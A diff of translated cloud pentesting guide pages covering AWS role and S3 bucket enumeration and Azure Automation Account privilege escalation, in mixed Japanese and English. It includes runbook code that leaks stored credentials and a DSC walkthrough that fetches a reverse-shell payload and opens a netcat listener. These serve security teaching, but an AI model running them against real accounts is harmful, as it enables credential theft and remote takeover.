229736458923 --word-list /tmp/names.txt` -- 例で使用している `admin` ロールは、**あなたのアカウント内で pacu によってインパーソネートされるロール**で、列挙のために必要なポリシーを作成するために使用されます。 +- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration ### Privesc -ロールが誤って設定され、誰でも assume できる場合: +In the case the role was bad configured an allows anyone to assume it: ```json { "Version": "2012-10-17", @@ -118,12 +118,12 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio ] } ``` -攻撃者は単にそれをassumeすることができる。 +攻撃者はそれをそのまま想定できる。 ## Third Party OIDC Federation -たとえば、**Github Actions workflow** が **AWS** 内の **role** にアクセスしているのを読み取れると想像してください。\ -この信頼は、次のような **trust policy** を持つ role へのアクセスを与える可能性があります： +**Github Actions workflow** が **AWS** 内の **role** にアクセスしているのを読めたとしましょう。\ +この trust により、次の **trust policy** を持つ role へのアクセスが可能になるかもしれません: ```json { "Version": "2012-10-17", @@ -143,18 +143,18 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio ] } ``` -この trust policy は一見正しいかもしれませんが、**より多くの条件がないこと**があるため、信用すべきではありません。\ -これは前の role を **Github Actions の誰でも** 引き受けられるためです！条件には org name, repo name, env, brach... なども指定するべきです。 +この trust policy は正しいかもしれませんが、**追加の条件がないこと** で疑うべきです。\ +これは、前の role が **Github Actions の誰でも** 引き受けられてしまうからです！conditions には、org name、repo name、env、brach... など、他の情報も指定すべきです。 -別の潜在的なミスコンフィグは、次のように**条件を追加する**ことです： +もう 1 つの潜在的な misconfiguration は、次のような**条件を追加すること**です。 ```json "StringLike": { "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -注意：**wildcard** (\*) が **colon** (:) の前にあることに留意してください。たとえば **org_name1** のような org を作成し、Github Action から **assume the role** することができます。 +**wildcard**（\*）が **colon**（:）の前にあることに注意してください。**org_name1** のような org を作成し、Github Action から **assume the role** できます。 -## 参考資料 +## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md index 0c80295f4..2f000fb06 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -4,41 +4,41 @@ ## S3 Public Buckets -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +bucket は、**任意のユーザーが bucket の内容を list できる**場合に **“public”** と見なされ、bucket の内容を**特定のユーザーだけが list または write できる**場合に **“private”** と見なされます。 -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +企業では **bucket permissions が mis-configured** になっていて、すべてのアクセス権が付与されていたり、AWS のどの account からでも認証済みの全ユーザーにアクセスを許していたりすることがあります（つまり誰にでも）。ただし、このような misconfigurations があっても、bucket 自体に独自の access control lists (ACLs) があるため、実行できない action もある点に注意してください。 -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**AWS-S3 の misconfiguration についてはこちら:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) ### Finding AWS Buckets -Different methods to find when a webpage is using AWS to storage some resources: +Webpage が AWS を使ってリソースを保存しているかを見つけるためのさまざまな方法: #### Enumeration & OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- **wappalyzer** browser plugin を使う +- burp を使って（web を **spidering** する）か、ページを手動で辿ることで、**loaded** されたすべての **resources** は History に保存される +- 次のようなドメインで **resources を確認**する: ``` http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ ``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- **[s3dns](https://github.com/olizimmermann/s3dns)** – DNS トラフィックを解析してクラウドストレージ buckets (S3, GCP, Azure) を受動的に識別する軽量な DNS サーバーです。CNAME を検出し、解決チェーンを辿り、bucket パターンと照合します。ブルートフォースや API ベースの検出の静かな代替手段を提供し、recon と OSINT ワークフローに最適です。 -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** -- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. -- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- **CNAMES** を確認する。`resources.domain.com` が `bucket.s3.amazonaws.com` を CNAME に持つことがある +- **[s3dns](https://github.com/olizimmermann/s3dns)** – DNS traffic を解析して cloud storage buckets (S3, GCP, Azure) を受動的に特定する軽量 DNS server。CNAME を検出し、resolution chain をたどり、bucket pattern に一致させるため、brute-force や API ベースの discovery の静かな代替手段になる。recon や OSINT の workflow に最適。 +- **すでに discovered された open buckets** が載っている web、[https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) を確認する。 +- **bucket name** と **bucket domain name** は **同じ**である必要がある。 +- **flaws.cloud** は **IP** 52.92.181.107 上にあり、そこへ行くと [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) にリダイレクトされる。また、`dig -x 52.92.181.107` で `s3-website-us-west-2.amazonaws.com` が得られる。 +- bucket かどうか確認するには、[https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) に **visit** してもよい。 #### Brute-Force -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +pentesting 対象の企業に関連する name を **brute-force** して bucket を見つけられる: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (潜在的な bucket name の list を含む) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -60,7 +60,8 @@ cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt # Create permutations based in a list with the domains and subdomains to attack goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp ## The previous tool is specialized increating permutations for subdomains, lets filter that list -### 末尾が「.」で終わる行を削除cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2 +### Remove lines ending with "." +cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2 ### Create list without TLD cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3 ### Create list without dots @@ -77,15 +78,15 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck #### Loot S3 Buckets -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +S3 open buckets がある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) を使って自動的に **興味深い情報を検索**できる。 ### Find the Region -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +AWS でサポートされているすべての region は [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) で確認できる。 #### By DNS -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +**`dig`** と **`nslookup`** を使って、発見した IP に対して **DNS request** を行うことで bucket の region を取得できる: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -95,31 +96,31 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -解決されたドメインに "website" という語が含まれていることを確認します。\ -静的ウェブサイトには次のURLにアクセスして確認できます: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -またはバケットにアクセスするには次を訪問します: `flaws.cloud.s3-us-west-2.amazonaws.com` +resolved domain には "website" という単語が含まれていることを確認してください。\ +static website には `flaws.cloud.s3-website-us-west-2.amazonaws.com` にアクセスして行けます\ +または bucket には `flaws.cloud.s3-us-west-2.amazonaws.com` を訪れてアクセスできます -#### 試して確認する +#### 試してみることで -バケットにアクセスしようとしたとき、**ドメイン名に別のリージョンを指定した場合**（例えばバケットが `bucket.s3.amazonaws.com` にあるのに `bucket.s3-website-us-west-2.amazonaws.com` にアクセスしようとした場合）、**正しい場所が示されます**: +bucket にアクセスしようとして、**domain name で別の region を指定した**場合（たとえば bucket が `bucket.s3.amazonaws.com` にあるのに、`bucket.s3-website-us-west-2.amazonaws.com` にアクセスしようとすると）、**正しい場所が示されます**: -![](<../../../images/image (106).png>) +![S3 XML PermanentRedirect response showing the correct bucket endpoint after querying the wrong region](<../../../images/image (106).png>) -### バケットの列挙 +### bucket の列挙 -バケットの公開状態を確認するには、ユーザーがブラウザのURL欄にそのURLを入力するだけです。プライベートなバケットは "Access Denied" と応答します。パブリックなバケットは保存されている最初の1,000個のオブジェクトを一覧表示します。 +bucket の公開状態をテストするには、ユーザーは web browser に URL を入力するだけでよいです。private bucket は "Access Denied" を返します。public bucket は保存されている最初の 1,000 個の objects を一覧表示します。 -全員に公開: +Everyone に公開: -![](<../../../images/image (201).png>) +![S3 public bucket XML listing object keys and metadata](<../../../images/image (201).png>) -プライベート: +Private: -![](<../../../images/image (83).png>) +![S3 XML AccessDenied response for a private bucket](<../../../images/image (83).png>) -これをcliで確認することもできます: +cli でもこれを確認できます: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -127,18 +128,18 @@ Non-authoritative answer: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` -バケットにドメイン名がない場合、列挙を試みるときは、**バケット名だけを入力**し、AWSs3ドメイン全体は入力しないでください。例: `s3://` +バケットにドメイン名がない場合、列挙しようとするときは、**バケット名のみ**を入れ、AWSs3ドメイン全体は入れないでください。例: `s3://` -### 公開URLテンプレート +### Public URL template ``` https://{user_provided}.s3.amazonaws.com ``` -### 公開 Bucket からアカウントIDを取得 +### public Bucket から Account ID を取得する -新しい **`S3:ResourceAccount`** **Policy Condition Key** を利用することで、AWS アカウントを特定することが可能です。この条件は **restricts access based on the S3 bucket** an account is in (他のアカウントベースのポリシーは、要求元プリンシパルが所属するアカウントに基づいて制限します)。\ -また、ポリシーに **wildcards** を含めることができるため、アカウント番号を **just one number at a time** で見つけることが可能です。 +新しい **`S3:ResourceAccount`** **Policy Condition Key** を利用することで、AWS account を特定できます。この condition は、**S3 bucket が属している account に基づいて access を制限**します（他の account-based policies は、要求元 principal が属している account に基づいて制限します）。\ +また、policy には **wildcards** を含められるため、account number を **1桁ずつ** 見つけることが可能です。 -このツールはそのプロセスを自動化します: +この tool はこの process を自動化します: ```bash # Installation pipx install s3-account-search @@ -148,11 +149,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -この手法は、API Gateway URLs、Lambda URLs、Data Exchange data sets、そして tags の値（tag key を知っていれば）を取得することにも使えます。詳細は [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) および、この悪用を自動化するツール [**conditional-love**](https://github.com/plerionhq/conditional-love/) を参照してください。 +この手法は、API Gateway URLs、Lambda URLs、Data Exchange data sets、さらには tags の値を取得する場合にも（tag key を知っていれば）機能します。より詳しい情報は、[**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) と、この exploit を自動化するツール [**conditional-love**](https://github.com/plerionhq/conditional-love/) を参照してください。 -### バケットが AWS アカウントに属していることを確認する +### Confirming a bucket belongs to an AWS account -説明したように [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**、もしバケットを一覧表示する権限がある場合**、バケットが属する accountID を次のようなリクエストを送信して確認できます： +[**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)** で説明されているように、**bucket を list する権限がある場合**、次のような request を送ることで、その bucket が属する accountID を確認できます: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -160,11 +161,11 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` -If the error is an “Access Denied” it means that the account ID was wrong. +エラーが “Access Denied” なら、アカウントIDが間違っていたことを意味します。 -### rootアカウントの列挙に使用されたメール +### ルートアカウント列挙に Email を使う -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **メールに権限を付与しようとする** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +[**この blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) で説明されているように、ACL を使って S3 bucket に対する権限を Email address に与えようとしてみることで、その Email address が何らかの AWS account に関連付いているかを確認できます。これで error が発生しなければ、その email はどこかの AWS account の root user であることを意味します: ```python s3_client.put_bucket_acl( Bucket=bucket_name, @@ -185,7 +186,7 @@ AccessControlPolicy={ } ) ``` -## 参考資料 +## 参考 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index c4b626b57..7b9612b1e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -詳細は次を参照してください: +さらに詳しい情報は以下を確認してください: {{#ref}} ../az-services/az-automation-accounts.md @@ -14,27 +14,27 @@ - **Automation Account から VM へ** -攻撃者が何らかの方法で hybrid worker 上で arbitrary runbook (arbitrary code) を実行できる場合、彼は **pivot to the location of the VM** できます。これはオンプレミスのマシン、別のクラウドの VPC、あるいは Azure VM であり得ます。 +攻撃者がどうにかして hybrid worker 上で任意の runbook（任意の code）を実行できる場合、**VM の配置先へ pivot** できることを覚えておいてください。これは on-premise のマシン、別の cloud の VPC、あるいは Azure VM でもありえます。 -さらに、hybrid worker が Azure 上で他の Managed Identities をアタッチした状態で動作している場合、runbook は **managed identity of the runbook and all the managed identities of the VM from the metadata service** にアクセスできるようになります。 +さらに、hybrid worker が Azure 上で動作していて他の Managed Identities がアタッチされている場合、runbook は metadata service から**runbook の managed identity と VM のすべての managed identities**にアクセスできます。 > [!TIP] -> メタデータサービス（**metadata service**）は、automation account の Managed Identities トークンを取得するサービス（**`IDENTITY_ENDPOINT`**）とは異なる URL（**`http://169.254.169.254`**）を持っていることを覚えておいてください。 +> **metadata service** は、automation account の managed identities token を取得するサービス（**`IDENTITY_ENDPOINT`**）とは別の URL（**`http://169.254.169.254`**）を持つことを覚えておいてください。 - **VM から Automation Account へ** -さらに、Automation Account のスクリプトが実行されている VM を誰かが侵害した場合、彼は **Automation Account** のメタデータを特定し、VM からアクセスして Automation Account に紐づく **Managed Identities** のトークンを取得できます。 +さらに、automation account の script が実行されている VM を誰かが compromise した場合、その VM から **Automation Account** の metadata を見つけてアクセスし、Automation Account にアタッチされた **Managed Identities** の token を取得できます。 -以下の画像に示すように、VM 上で Administrator 権限があれば、プロセスの **プロセスの環境変数** に automation account メタデータサービスへアクセスするための URL と secret を見つけることができます: +次の画像で分かるように、VM に対して Administrator access があると、**process の environment variables** から automation account metadata service にアクセスするための URL と secret を見つけることが可能です: -![]() +![Process Explorer view of an Azure Automation worker process exposing automation account metadata environment variables]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -要約すると、これらの権限は Automation Account 内で **create, modify and run Runbooks** を許可し、Automation Account のコンテキストで **execute code** を行い、割り当てられた **Managed Identities** への権限昇格や Automation Account に保存された **credentials** と **encrypted variables** の leak に利用できます。 +要約すると、これらの permissions により Automation Account 内で **Runbooks を作成、変更、実行** できます。これを使って Automation Account のコンテキストで **code を実行** し、割り当てられた **Managed Identities** へ privilege escalation したり、Automation Account に保存されている **credentials** と **encrypted variables** を leak したりできます。 -権限 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** により、Automation Account 内の Runbook のコードを次の方法で修正できます: +permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** は、以下を使用して Automation Account 内の Runbook の code を変更することを可能にします: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -前のスクリプトが、Automation Account に保存された資格情報の**leak ユーザー名とパスワード**および**暗号化された変数**の値を取得するのにどのように使えるかに注意してください。 +前のスクリプトを使って、credential の **leak** された useranmd と password、そして Automation Account に保存された **encrypted variable** の値を取得できることに注意してください。 -権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** は、ユーザーが Automation Account 内で Runbook を公開し、変更を適用することを可能にします: +権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** により、ユーザーは Automation Account 内で Runbook を publish して、変更を適用できます: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -権限 **`Microsoft.Automation/automationAccounts/jobs/write`** により、ユーザーは Automation Account 内の Runbook を次の方法で実行できます: +権限 **`Microsoft.Automation/automationAccounts/jobs/write`** により、ユーザーは Automation Account 内で Runbook を実行できます。以下を使用します: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーは Automation Account のジョブの出力を次の方法で読み取ることができます: +権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーは Automation Account 内のジョブの出力を次を使用して読み取ることができます: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Runbooks が作成されていない、または新しい Runbook を作成したい場合、次を使用してそれを行うには **権限 `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** が必要です: +Runbooks が作成されていない場合、または新しいものを作成したい場合は、これを行うために **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** が必要です: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -この権限により、ユーザーは次の方法で Automation Account に **ユーザー割り当てマネージド ID を割り当てる** ことができます: +この権限により、ユーザーは以下を使用して Automation Account に **user managed identity** を割り当てることができます: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、次のコマンドを使って Automation Account に新しい Schedule を作成し、15分ごとに実行させることができます（あまりステルスではありません）。 +権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、Automation Account 内に新しい Schedule を作成でき、以下のコマンドを使って 15 分ごとに実行させることができます（あまり stealth ではない）。 -Schedule の最小間隔は 15 分で、開始時間は少なくとも 5 分後でなければならない点に注意してください。 +なお、**Schedule の最小間隔は 15 分**で、**最小開始時刻は現在から 5 分後**です。 ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -その後、権限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** があれば、次の方法で runbook に Scheduler を割り当てることができます: +Then, with the permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`** it's possible to assign a Scheduler to a runbook using: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,13 +134,13 @@ az rest --method PUT \ }' ``` > [!TIP] -> 前の例ではジョブスケジュール ID が **`b510808a-8fdc-4509-a115-12cfc3a2ad0d`（例）** として残されていましたが、この割り当てを作成するには任意の値を使用する必要があります。 +> 前の例では jobchedule id は **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** のままでしたが、この assignemnt を作成するには任意の値を使用する必要があります。 ### `Microsoft.Automation/automationAccounts/webhooks/write` -権限 **`Microsoft.Automation/automationAccounts/webhooks/write`** を持っていると、次のいずれかのコマンドを使用して Automation Account 内の Runbook の新しい Webhook を作成できます。 +権限 **`Microsoft.Automation/automationAccounts/webhooks/write`** があると、次のコマンドのいずれかを使用して、Automation Account 内の Runbook 用の新しい Webhook を作成できます。 -With Azure Powershell: +Azure Powershell では: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` @@ -160,14 +160,14 @@ az rest --method put \ } }' ``` -これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、webhook URI を使用して runbook を呼び出すには +これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、webhook URI を使って runbook を呼び出します。 ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write` のみで、**Runbook のコードを更新**し、それを公開することなく以下のコマンドで実行できます。 +権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write` だけで、**Runbook のコードを更新** し、公開せずに以下のコマンドを使って実行することが可能です。 ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -この権限により、ユーザーは次のようなコマンドを使用して Automation Account の **source control を構成する** ことができます（例として Github を使用）: +この権限により、ユーザーは次のようなコマンドを使用して Automation Account の **source control を構成**できます（これは Github を例にしています）： ```bash az automation source-control create \ --resource-group \ @@ -208,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -これにより、Github リポジトリから runbooks が Automation Account に自動的にインポートされ、さらにそれらを実行するための適切な権限があれば、**possible to escalate privileges**。 +これにより、Github repository から runbooks が Automation Account に自動的に import され、さらにそれらを実行開始するための別の permission があれば、**privileges を escalate することが可能**になります。 -さらに、Automation Accounts の source control を機能させるには、role が **`Contributor`** の managed identity を持っている必要があり、user managed identity の場合は MI の client id を変数 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があることを忘れないでください。 +さらに、Automation Accounts で source control を動作させるには、role **`Contributor`** を持つ managed identity が必要であり、user managed identity の場合は、MI の cleint id を variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があります。 > [!TIP] -> 作成後に source control の repo URL を変更することはできない点に注意してください。 +> 一度作成した source control の repo URL は変更できないことに注意してください。 ### `Microsoft.Automation/automationAccounts/variables/write` -権限 **`Microsoft.Automation/automationAccounts/variables/write`** があれば、以下のコマンドを使って Automation Account に変数を書き込むことができます。 +permission **`Microsoft.Automation/automationAccounts/variables/write`** があれば、以下の command を使って Automation Account に variables を書き込むことが可能です。 ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -231,53 +231,53 @@ az rest --method PUT \ } }' ``` -### カスタムランタイム環境 +### Custom Runtime Environments -もし automation account がカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード（**a backdoor** のような）で上書きすることが可能になる場合があります。こうすると、そのカスタムランタイムを使用しカスタムパッケージをロードする runbook が実行されるたびに、悪意のあるコードが実行されます。 +If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed. -### State Configuration の侵害 +### Compromising State Configuration **Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - Step 1 — Create Files **Files Required:** Two PowerShell scripts are needed: -1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) ファイルで、ペイロードを取得して実行します。入手先は [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) です。 -2. `push_reverse_shell_config.ps1`: 設定を VM に公開するスクリプトで、入手先は [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) です。 +1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Customization:** これらのファイル内の変数やパラメータは、リソース名、ファイルパス、サーバー／ペイロード識別子など、利用者の環境に合わせて調整する必要があります。 +**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers. - Step 2 — Zip Configuration File -`reverse_shell_config.ps1` を `.zip` ファイルに圧縮し、Azure Storage Account に転送できる状態にします。 +The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Step 3 — Set Storage Context & Upload +- ステップ 3 — Storage Context の設定とアップロード -圧縮された構成ファイルは、あらかじめ定義された Azure Storage コンテナ、azure-pentest に、Azure の Set-AzStorageBlobContent cmdlet を使用してアップロードされます。 +圧縮された設定ファイルは、Azure の Set-AzStorageBlobContent cmdlet を使用して、事前定義された Azure Storage container、azure-pentest にアップロードされる。 ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- ステップ 4 — Kali Box の準備 +- Step 4 — Kali Box を準備 -Kali サーバーは GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。 +Kali server は GitHub repository から RevPS.ps1 payload をダウンロードします。 ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -スクリプトは、reverse shell用のターゲットWindows VMとポートを指定するように編集されます。 +スクリプトは、target の Windows VM と reverse shell のポートを指定するように編集されます。 -- ステップ5 — 設定ファイルを公開 +- Step 5 — Publish Configuration File -設定ファイルが実行され、reverse-shellスクリプトが指定された場所のWindows VMに展開されます。 +configuration file が実行され、reverse-shell script が指定された location に Windows VM 上へ deployed されます。 -- ステップ6 — Payloadをホストし、Listenerをセットアップ +- Step 6 — Host Payload and Setup Listener -PayloadをホストするためにPython SimpleHTTPServerが起動され、着信接続をキャプチャするためにNetcat listenerが実行されます。 +Python SimpleHTTPServer が payload を host するために起動され、さらに Netcat listener が incoming connections を capture するために setup されます。 ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -スケジュールされたタスクがpayloadを実行し、SYSTEMレベルの権限を取得します。 +スケジュールされたタスクが payload を実行し、SYSTEM-level privileges 